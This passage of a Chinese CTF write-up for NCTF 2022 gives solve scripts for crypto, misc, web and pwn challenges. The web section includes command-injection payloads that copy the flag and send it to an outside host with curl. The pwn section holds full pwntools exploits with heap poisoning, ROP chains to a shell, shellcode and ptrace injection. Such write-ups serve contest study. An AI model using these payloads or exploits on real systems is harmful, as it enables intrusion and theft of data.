        infer(index, pos)

    return [''.join([chr(c) for c in x]) for x in msg]

cipher = '19c51488dda8c5a43b77d3eba6cc534c3b7ef72c944d1341c0af66885c9bc32d2cc614db92bc91b6226c90e6e3ca5e5e3278ee2cd56c216cc9ee2b94419080283fc21fc7c7ae91a73a7196ecae8954472a75f97e92221c77c9e86e895d8c823428de51c3d7a4c2a03c6692e0e3cb5b413976ef209c753d6a8ae72b864a9bc33425c81f88ea92e3b12a2384e4b7c1175a3278bc7cd0633c6d9dea7393189c8f2f2ec60288c6b291b32b77d3f9abcc174d336df469ce76307b9da12bad4d8d97602cde51dfdba9d9f421779be8b189445a2878fd619c613c7381ea799414de852c24dd01c1dcba91b56e619af9e3c0590e2e75f92cdf6b256b8cfd7f82408ac3303fc215ddd1b8c2f42f2395e1aad9474b3e3dfe65c8223c6dc9fb6382188e8f2124c305cdcaa991b53a2387e5a689444f3778bc60d361347780e065c918aa8b293e8d01daddadd4a63a7ad3ecafc55859293df16dd27b75669bfd6495159d8c323fc812dcdbb3d6f42d6c97e8b08943417a7be962df763c6c87af65884a93822c21d451cdc4b8dff4396b96e3e3c8475e3674f9689c60306586fd6ec75d90803234dd05c1ddb39f'
c1 = [cipher[2*i*32:(2*i+1)*32] for i in range((len(cipher) // 32)//2)]

a1 = attack(c1)

c2 = [cipher[(2*i+1)*32:(2*i+2)*32] for i in range((len(cipher) // 32)//2)]
a2 = attack(c2)
print(a1)
print(a2)
for i in range(len(a2)):
    print(a1[i],end='')
    print(a2[i], end='')

m11 = b'The output feedb'
m12 = b'ack (OFB) mode m'

def sxor(b1, b2):
    ans = []
    for each in range(len(b1)):
        ans.append(b1[each] ^ b2[each])
    return bytes(ans)

tmp11 = sxor(b''.fromhex(c1[0]), m11)
tmp12 = sxor(b''.fromhex(c2[0]), m12)

print()
print()
msg = ''
C = [cipher[i*32:(i+1)*32] for i in range(len(cipher)//32)]+[cipher[-(len(cipher) % 32):]]
for i in range(len(C)):
    if i % 2 == 0:
        key = tmp11
    else:
        key = tmp12
    c = b''.fromhex(C[i])
    len1 = len(c)
    if len1 != 16:
        key = key[:len1]
    msg += sxor(key, c).decode()

print(msg)
m = hashlib.md5()
m.update(msg.encode())
print(m.hexdigest())
# The output feedback (OFB) mode makes a block cipher into a synchronous stream cipher. It generates keystream blocks, which are then XORed with the plaintext blocks to get the ciphertext. Just as with other stream ciphers, flipping a bit in the ciphertext produces a flipped bit in the plaintext at the same location. This property allows many error-correcting codes to function normally even when applied before encryption.
# 544c25a09043b994bcc00ecda3d05b4e
# NCTF{4_FUNNY_CrYP70_516N1N}

Coloratura

  • 随机数回溯恢复SourceImg(不足补零)
  • 异或得到flag
import sys

from Crypto.Util.number import *
from PIL import Image, ImageDraw
from random import getrandbits
width = 208
height = 208
img3 = Image.open('/Users/0HB/Desktop/复现/NCTF2022/Coloratura/attach.png')
s = []
# # img2 = makeFlagImg()
# # img2.save('1203.png')
# img3 = Image.new("RGB", (width, height))
for i in range(height):
    for j in range(width):
        tmp = list(img3.getpixel((j, i)))
        tmp = [int(tmp[k] ^ 0) for k in range(3)]  # 异或0
        s += tmp

s = bytes(s)
s = [s[i*4:(i+1)*4] for i in range(len(s)//4)]

from extend_mt19937_predictor import ExtendMT19937Predictor
predictor = ExtendMT19937Predictor()
for _ in range(-624,0):
    predictor.setrandbits(bytes_to_long(s[_][::-1]), 32)

_ = [predictor.backtrack_getrandbits(32) for _ in range(624)]  # 回溯到起始状态

ans = b''.join(s[-624:])

for i in range((129792 // 4)-624):
    tmp = predictor.backtrack_getrandbits(32)
    tmp = long_to_bytes(tmp)[::-1]
    tmp = list(tmp)
    if len(tmp) != 4:
        tmp = [0] + tmp
        # sys.exit()
    ans = bytes(tmp) + ans
def makeSourceImg():
    colors = ans
    img = Image.new('RGB', (width, height))
    x = 0
    for i in range(height):
        for j in range(width):
            img.putpixel((j, i), (colors[x], colors[x + 1], colors[x + 2]))
            x += 3
    return img

img1 = makeSourceImg()
# img2 = makeFlagImg()
img2 = Image.open('/Users/0HB/Desktop/复现/NCTF2022/Coloratura/attach.png')
img3 = Image.new("RGB", (width, height))
for i in range(height):
    for j in range(width):
        p1, p2 = img1.getpixel((j, i)), img2.getpixel((j, i))
        img3.putpixel((j, i), tuple([(p1[k] ^ p2[k]) for k in range(3)]))
img3.save('/Users/0HB/Desktop/复现/NCTF2022/Coloratura/flag.png')
# nctf{Coloratura_Coldplay}

dp_promax

dp_promax _revenge里有提示,factordb上可查,哈人

import gmpy2, libnum

n= 46460689902575048279161539093139053273250982188789759171230908555090160106327807756487900897740490796014969642060056990508471087779067462081114448719679327369541067729981885255300592872671988346475325995092962738965896736368697583900712284371907712064418651214952734758901159623911897535752629528660173915950061002261166886570439532126725549551049553283657572371862952889353720425849620358298698866457175871272471601283362171894621323579951733131854384743239593412466073072503584984921309839753877025782543099455341475959367025872013881148312157566181277676442222870964055594445667126205022956832633966895316347447629237589431514145252979687902346011013570026217
e = 13434798417717858802026218632686207646223656240227697459980291922185309256011429515560448846041054116798365376951158576013804627995117567639828607945684892331883636455939205318959165789619155365126516341843169010302438723082730550475978469762351865223932725867052322338651961040599801535197295746795446117201188049551816781609022917473182830824520936213586449114671331226615141179790307404380127774877066477999810164841181390305630968947277581725499758683351449811465832169178971151480364901867866015038054230812376656325631746825977860786943183283933736859324046135782895247486993035483349299820810262347942996232311978102312075736176752844163698997988956692449
c = 28467178002707221164289324881980114394388495952610702835708089048786417144811911352052409078910656133947993308408503719003695295117416819193221069292199686731316826935595732683131084358071773123683334547655644422131844255145301597465782740484383872480344422108506521999023734887311848231938878644071391794681783746739256810803148574808119264335234153882563855891931676015967053672390419297049063566989773843180697022505093259968691066079705679011419363983756691565059184987670900243038196495478822756959846024573175127669523145115742132400975058579601219402887597108650628746511582873363307517512442800070071452415355053077719833249765357356701902679805027579294
p = 3628978044425516256252147348112819551863749940058657194357489608704171827031473111609089635738827298682760802716155197142949509565102167059366421892847010862457650295837231017990389942425249509044223464186611269388650172307612888367710149054996350799445205007925937223059
q = n//p
d = int(gmpy2.invert(e, (p-1)*(q-1)))
m = int(pow(c,d,n))
print(libnum.n2s(m))
# nctf{Th1s_N_May_n0t_s0@o0@@_secur3}

misc

只因因

使用提及的blast工具,可以找到基因为"CFTR",然后md5加密即可。

http://www.ncbi.nlm.nih.gov/BLAST/

image

Signin

炉边聚会

网上找的学习链接:

大神_游戏热爱者兴趣圈_游戏社区

炉石卡组代码解析

里面有现成的脚本,拼接起来,替换掉strings输出即可。

<?php
$deckstring = "strings";
#这是一个非常有趣的萨满卡组
$binary = base64_decode($deckstring);
$hex = bin2hex($binary);
#对于这个卡组,$hex="00010101fd06000fce069707cc08e20cff0fc814e616b6ac02aeb002a5be02f8bf02f9bf02a2cd02f8d002a6ef0200"
$arr = str_split($hex, 2);
$arr = array_map("hexdec", $arr);
function read_varint(&$data) {
    $shift = 0;
    $result = 0;
    do {
        $c = array_shift($data);
        $result |= ($c & 0x7f) << $shift;
        $shift += 7;
    }
    while ($c & 0x80);
    return $result;
}
function parse_deck($data) {
    $reserve = read_varint($data);
    if ($reserve != 0) {
        printf("Invalid deckstring");
        die;
    }
    $version = read_varint($data);
    if ($version != 1) {
        printf("Unsupported deckstring version %s", $version);
        die;
    }
    $format = read_varint($data);
    $heroes = [];
    $num_heroes = read_varint($data);
    for ($i = 0; $i < $num_heroes; $i++) {
        $heroes[] = read_varint($data);
    }
    $cards = [];
    $num_cards_x1 = read_varint($data);
    for ($i = 0; $i < $num_cards_x1; $i++) {
        $card_id = read_varint($data);
        $cards[] = [$card_id, 1];
    }
    $num_cards_x2 = read_varint($data);
    for ($i = 0; $i < $num_cards_x2; $i++) {
        $card_id = read_varint($data);
        $cards[] = [$card_id, 2];
    }
    $num_cards_xn = read_varint($data);
    for ($i = 0; $i < $num_cards_xn; $i++) {
        $card_id = read_varint($data);
        $count = read_varint($data);
        $cards[] = [$card_id, $count];
    }
    return [$cards, $heroes, $format];
}
print_r(parse_deck($arr)[0]);

image

其实后面就卡住了,但是注意到每个卡组数字是一,然后前两个是780和670

image

就是除以10然后正常拼接就行,字数不多可以手撕

image

qrssssssss

二维码批量识别,批量二维码识别 - 支持批量处理,按时间递增排序,然后对文本进行稍稍处理一下:

NNNNNNNNNNNNNNNN
CTTTCCTTFTCTFFFC
TCTCCCFFCFFCCTFT
CTFCTFFFFFTCTTFC
{77{{7{{{{{7{77{
7{{{77777{77{7{7
3333333333333333
7777777777777777
1111111111111111
5555555555555555
--00----00--0--0
-00-0-00---00000
eeeeeeeeeeeeeeee
ebeebeebeebebbbe
bebebebeebeebbbb
----------------
4444444444444444
6565556555566566
6666565655566655
----------------
99ee9eee9ee99ee9
e99e99e999eee99e
1111111111111111
----------------
1111111111111111
1111111111111111
0000000000000000
aa8aa8a8a8aa88a8
aa8a8a8888a8a88a
ffffffffffffffff
bbbbbbbbbbbbbbbb
}}}}}}}}}}}}}}}}

括号内的内容是26个,其实基本都能确定了,剩下的可以多次试一试就找到了:

image

NCTF{737150-eeb-465-e91-110a8fb}

qrssssssss_revenge

这个题目按照时间、文件大小排序都没有很好的效果,但是有HINT:LMQH

所以这个题目是要按照纠错等级进行分布,恰好,QR RESEARCH支持这个功能,还是括号内26个字母,手撕开始:

image

image

然后按照掩码从0开始进行顺序拼接:

NCTF{621 
30783efd 
44b3692b 
4ddbecf}

拼接即可:NCTF{62130783efd44b3692b4ddbecf}

Signout

image

NCTF{Thanks_for_your_participation}

web

calc

这题是半个原题,过滤了#,但是没过滤',通过'''来闭合,进而执行命令

开始尝试了curl外带,但/flag不存在,由于是公网环境,读tmp/log.txt发现里面有根目录,就看到了flag名字Th1s_is__F1114g,但还是读不了flag,因为名字里面有过滤字符

采取的办法,cp来绕过

/calc?num=%27%27%271%27%0acp%09/T*%09/1.txt%0a%273%27%27%27 

然后通过curl外带数据

/calc?num=%27%27%271%27%0acurl%09-T%09/1.txt%09ip:port%0a%273%27%27%27

参考文章

DASCTF X SU 三月春季挑战赛复现 - xiaolong's blog (xiaolong22333.top)

pwn

babyLinkedList

#!/usr/bin/python3
# -*- coding:utf-8 -*-

from pwn import *
import os, struct, random, time, sys, signal

libc = ELF('libc.so')

class Shell():
    def __init__(self):
        self.clear(arch='amd64', os='linux', log_level='info')
        self.pipe = remote('49.233.15.226', 8002)

    def send(self, data:bytes, **params): return self.pipe.send(data, **params)
    def sendline(self, data:bytes, **params): return self.pipe.sendline(data, **params)
    def recv(self, **params): return self.pipe.recv(**params)
    def close(self, **params): return self.pipe.close(**params)
    def recvrepeat(self, timeout, **params): return self.pipe.recvrepeat(timeout, **params)
    def interactive(self, **params): return self.pipe.interactive(**params)
    def clear(self, **params): return context.clear(**params)

    def recvn(self, numb, **params): 
        result = self.pipe.recvn(numb, **params)
        if(len(result) != numb):
            raise EOFError('recvn')
        return result

    def recvuntil(self, delims, **params):
        result = self.pipe.recvuntil(delims, drop=False, **params)
        if(not result.endswith(delims)):
            raise EOFError('recvuntil')
        return result[:-len(delims)]

    def sendafter(self, delim, data, **params):
        self.recvuntil(delim, **params)
        self.send(data, **params)

    def sendlineafter(self, delim, data, **params):
        self.recvuntil(delim, **params)
        self.sendline(data, **params)

    def add(self, size, content):
        self.sendlineafter(b'>> ', b'1')
        self.sendlineafter(b'size\n', str(size).encode())
        self.sendafter(b'content\n', content)

    def delete(self):
        self.sendlineafter(b'>> ', b'2')

    def show(self):
        self.sendlineafter(b'>> ', b'3')

    def edit(self, content):
        self.sendlineafter(b'>> ', b'4')
        time.sleep(0.1)
        sh.send(content)

sh = Shell()
for i in range(54):
    sh.add(0x1c, b'aaaa')
sh.edit(b'b' * 0x20)
sh.show()
sh.recvuntil(b'b' * 0x20)
libc_addr = (u64(sh.recvn(6) + b'\0\0') - 0xa6000) & (~0xfff)
success('libc_addr: ' + hex(libc_addr))

sh.edit(b'c' * 0x20 + p64(libc_addr + libc.sym['environ']))
sh.show()

sh.recvuntil(b'Content: ')
stack_addr = u64(sh.recvn(6) + b'\0\0')
success('stack_addr: ' + hex(stack_addr))

sh.add(0x1c, b'dddd')
sh.edit(b'e' * 0x20 + p64(stack_addr - 0x90))

sh.edit(p64(libc_addr + next(libc.search(asm('pop rdi;ret;')))) + p64(libc_addr + next(libc.search(b'/bin/sh'))) + p64(libc_addr + libc.sym['system']))

sh.interactive()
#date -f /home/ctf/flag

ezlink

#!/usr/bin/python3
# -*- coding:utf-8 -*-

from pwn import *
import os, struct, random, time, sys, signal

class Shell():
    def __init__(self):
        self.clear(arch='amd64', os='linux', log_level='debug')
        # self.pipe = process(['./ezlink'])
        self.pipe = remote('49.233.15.226', 8003)

    def send(self, data:bytes, **params): return self.pipe.send(data, **params)
    def sendline(self, data:bytes, **params): return self.pipe.sendline(data, **params)
    def recv(self, **params): return self.pipe.recv(**params)
    def close(self, **params): return self.pipe.close(**params)
    def recvrepeat(self, timeout, **params): return self.pipe.recvrepeat(timeout, **params)
    def interactive(self, **params): return self.pipe.interactive(**params)
    def clear(self, **params): return context.clear(**params)

    def recvn(self, numb, **params): 
        result = self.pipe.recvn(numb, **params)
        if(len(result) != numb):
            raise EOFError('recvn')
        return result

    def recvuntil(self, delims, **params):
        result = self.pipe.recvuntil(delims, drop=False, **params)
        if(not result.endswith(delims)):
            raise EOFError('recvuntil')
        return result[:-len(delims)]

    def sendafter(self, delim, data, **params):
        self.recvuntil(delim, **params)
        self.send(data, **params)

    def sendlineafter(self, delim, data, **params):
        self.recvuntil(delim, **params)
        self.sendline(data, **params)

    def add(self, content):
        self.sendlineafter(b'>> ', b'1')
        self.sendafter(b'secret', content)

    def delete(self):
        self.sendlineafter(b'>> ', b'2')

    def show(self):
        self.sendlineafter(b'>> ', b'3')

    def edit(self, content):
        self.sendlineafter(b'>> ', b'4')
        self.sendafter(b'content', content)

sh = Shell()
sh.add(flat({0x18:0xc91}))
sh.delete()
sh.show()
sh.recvuntil(b'secret\n')
heap_addr = u64(sh.recvn(6) + b'\0\0') 
next_low1 = 0x590
low1 = 0x4b0
low2 = ((heap_addr >> 0) & 0xfff) ^ next_low1
low3 = ((heap_addr >> 12) & 0xfff) ^ low2
low4 = ((heap_addr >> 24) & 0xfff) ^ low3
heap_addr = low1 + (low2 << 12) + (low3 << 24) + (low4 << 36)
heap_addr = heap_addr - 0x14b0
success('heap_addr: ' + hex(heap_addr))

for i in range(7):
    sh.add(b'\n')
sh.delete()

sh.edit(p64(((heap_addr + 0x2080) >> 12) ^ (heap_addr + 0x2240)))
sh.add(p64(heap_addr + 0x14b0) + p64(heap_addr + 0x14d0))
sh.delete()
sh.show()
sh.recvuntil(b'secret\n')
libc_addr = u64(sh.recvn(6) + b'\0\0') - 0x219ce0
success('libc_addr: ' + hex(libc_addr))

sh.add(b'\n')
sh.delete()
sh.edit(p64(((heap_addr + 0x14b0) >> 12) ^ (libc_addr + 0x21a780)))
sh.add(p64(0xfbad3887) + p64(0) * 3 + p64(libc_addr + 0x221200) + p64(libc_addr + 0x221208) + p64(libc_addr + 0x221208))
sh.recvuntil(b'\n')
stack_addr = u64(sh.recvn(8))
success('stack_addr: ' + hex(stack_addr))

sh.add(b'\n')
sh.delete()
sh.edit(p64(((heap_addr + 0x1640) >> 12) ^ (stack_addr-0x128)))

shellcode1 = asm('''

    mov edi, 1
    lea rsi, s1[rip]
    mov edx, 7
    mov eax, 1
    syscall

    xor edi, edi
    lea rsi, end[rip]
    mov edx, 0x200
    xor eax, eax
    syscall

    jmp end

s1:
    .string "Polaris"
end:
''')

shellcode2 = asm('''

    jmp start
puts:
    push rax
    push rdi
    push rsi
    push rdx
    push rbx
    xor eax, eax
puts_again:
    mov bl, byte ptr [rdi + rax]
    test bl, bl
    je puts_over
    inc eax
    jmp puts_again
puts_over:
    mov edx, eax
    mov rsi, rdi
    xor edi, edi
    inc edi
    mov eax, edi
    syscall

    xor eax, eax
    mov al, 9
    inc eax
    push rax
    mov rsi, rsp
    xor edi, edi
    inc edi
    mov edx, edi
    mov eax, edi
    syscall
    pop rax

    pop rbx
    pop rdx
    pop rsi
    pop rdi
    pop rax
    ret

start:
    mov r15d, 0x01010901
    sub r15d, 0x01010101
    add rsp, r15

    ;// mov rax, 0x10101010101676d
    ;// mov r15, 0x0101010101010101
    ;// sub rax, r15
    ;// push rax
    ;// mov rax, 0x65732f636f72702f
    ;// push rax
    ;// "/proc/self"

    ;// push 0x2e
    ;// "."

    push 0x2f
    ;// "/"

    mov rsi, rsp
    xor eax, eax
    mov edx, eax
    mov edi, -100
    mov eax, 257
    syscall  ;// open(path, O_RDONLY)
    push rax

    xor edi, edi
    mov esi, 0x01014101
    sub esi, 0x01010101
    mov edx, edi
    mov dl, 3
    mov r10d, 0x01010123
    sub r10d, 0x01010101
    mov r8d, edi
    inc r8d
    mov r9d, edi
    xor eax, eax
    mov al, 9
    syscall ;// mmap(NULL, size, 3, 0x22, -1, 0)

    mov rsi, rax
    pop rdi
    mov edx, 0x01014101
    sub edx, 0x01010101
    mov eax, 0x010101da
    sub eax, 0x01010101
    syscall ;// getdents64(fd, buf, buf_size)

next_file:
    xor rax, rax
    mov ax, [rsi + 0x10] ;// d->d_reclen
    lea rdi, [rsi + 0x13] ;// d->d_name
    cmp dword ptr [rdi], 0x67616c66
    jz puts_flag
    call puts ;// puts(d->d_name)
    add rsi, rax
    mov rax, [rsi]
    test rax, rax
    jne next_file

    exit:
    xor edi, edi
    mov eax, 0x010101e8
    sub eax, 0x01010101
    syscall ;// exit

puts_flag:
    mov rsi, rdi
    xor eax, eax
    mov edx, eax
    mov edi, -100
    mov eax, 257
    syscall ;// open

    push rax
    mov rsi, rsp
    xor eax, eax
    mov edx, eax
    inc eax
    mov edi, eax
    mov dl, 8
    syscall ;// write open() return value

    pop rax
    test rax, rax
    js over

    mov edi, eax
    mov rsi, rsp
    mov edx, 0x01010201
    sub edx, 0x01010101
    xor eax, eax
    syscall ;// read

    mov edx, eax
    mov rsi, rsp
    xor eax, eax
    inc eax
    mov edi, eax
    syscall ;// write

over:
    xor edi, edi
    mov eax, 0x010101e8
    sub eax, 0x01010101
    syscall ;// exit

''')

sh.add(flat([
    0, 
    libc_addr + 0x000000000002a3e5,
    (stack_addr & (~0xfff)),
    libc_addr + 0x000000000002be51,
    0x1000,
    libc_addr + 0x000000000011f497,
    7, 0,
    libc_addr + 0x0000000000045eb0,
    10,
    libc_addr + 0x0000000000091396,
    libc_addr + 0x000000000008821d,
]) + shellcode1)

sh.sendlineafter(b'>> ', b'5')
sh.recvuntil(b'Polaris')
sh.send(shellcode2)

sh.interactive()

ezshellcode

#!/usr/bin/python3
# -*- coding:utf-8 -*-

from pwn import *
import os, struct, random, time, sys, signal

class Shell():
    def __init__(self):
        self.clear(arch='amd64', os='linux', log_level='info')
        # self.pipe = remote('localhost', 9999)
        self.pipe = remote('121.4.15.155', 9999)

    def send(self, data:bytes, **params): return self.pipe.send(data, **params)
    def sendline(self, data:bytes, **params): return self.pipe.sendline(data, **params)
    def recv(self, **params): return self.pipe.recv(**params)
    def close(self, **params): return self.pipe.close(**params)
    def recvrepeat(self, timeout, **params): return self.pipe.recvrepeat(timeout, **params)
    def interactive(self, **params): return self.pipe.interactive(**params)
    def clear(self, **params): return context.clear(**params)

    def recvn(self, numb, **params): 
        result = self.pipe.recvn(numb, **params)
        if(len(result) != numb):
            raise EOFError('recvn')
        return result

    def recvuntil(self, delims, **params):
        result = self.pipe.recvuntil(delims, drop=False, **params)
        if(not result.endswith(delims)):
            raise EOFError('recvuntil')
        return result[:-len(delims)]

    def sendafter(self, delim, data, **params):
        self.recvuntil(delim, **params)
        self.send(data, **params)

    def sendlineafter(self, delim, data, **params):
        self.recvuntil(delim, **params)
        self.sendline(data, **params)

def ptrace_hook(_pid):
    _sh = Shell()
    shellcode = asm(f'''

        mov edi, 16 ;// PTRACE_ATTACH
        mov esi, {_pid}
        xor edx, edx
        xor r10d, r10d
        xor r8d, r8d
        xor r9d, r9d
        mov eax, 101
        syscall

        ;// get_image_addr
        sub rsp, 232
        mov esi, {_pid}
        xor edx, edx
        mov edi, 12
        mov r10, rsp
        xor r8d, r8d
        xor r9d, r9d
        l1:
        mov eax, 101
        syscall
        cmp rax, 0
        jl l1

        mov rax, QWORD PTR 40[rsp]
        add rsp, 232
        sub rax, 4928

        mov edi, 5 ;// PTRACE_POKEDATA
        mov esi, {_pid}
        lea rdx, [rax + 0x4050]
        mov r10, rax
        add r10, 0x1333
        xor r8d, r8d
        xor r9d, r9d
        mov eax, 101
        syscall

        mov edi, 17 ;// PTRACE_DETACH
        mov esi, {_pid}
        xor edx, edx
        xor r10d, r10d
        xor r8d, r8d
        xor r9d, r9d
        mov eax, 101
        syscall

        mov edi, {_pid}
        mov esi, 18
        mov eax, 62
        syscall

    exit:
        xor edi, edi
        mov eax, 231
        syscall ;// exit

    ''')
    _sh.recvuntil(b'\n')
    # pause()
    _sh.send(shellcode)
    _sh.close()

sh = Shell()

sh.recvuntil(b': ')
pid = int(sh.recvuntil(b'\n'))
success(f'pid: {pid}')

ptrace_hook(pid)

# pause()

sh.send(asm('''

    mov eax, 0x67616c66 ;// flag
    push rax

    mov rdi, rsp
    xor eax, eax
    mov esi, eax
    mov al, 2
    syscall ;// open

    push rax
    mov rsi, rsp
    xor eax, eax
    mov edx, eax
    inc eax
    mov edi, eax
    mov dl, 8
    syscall ;// write open() return value

    pop rax
    test rax, rax
    js over

    mov edi, eax
    mov rsi, rsp
    mov edx, 0x01010201
    sub edx, 0x01010101
    xor eax, eax
    syscall ;// read

    mov edx, eax
    mov rsi, rsp
    xor eax, eax
    inc eax
    mov edi, eax
    syscall ;// write

over:
    xor edi, edi
    mov eax, 0x010101e8
    sub eax, 0x01010101
    syscall ;// exit

'''))

sh.interactive()
# flag{053d8801-8700-4ff5-a6d5-20cc762b719e}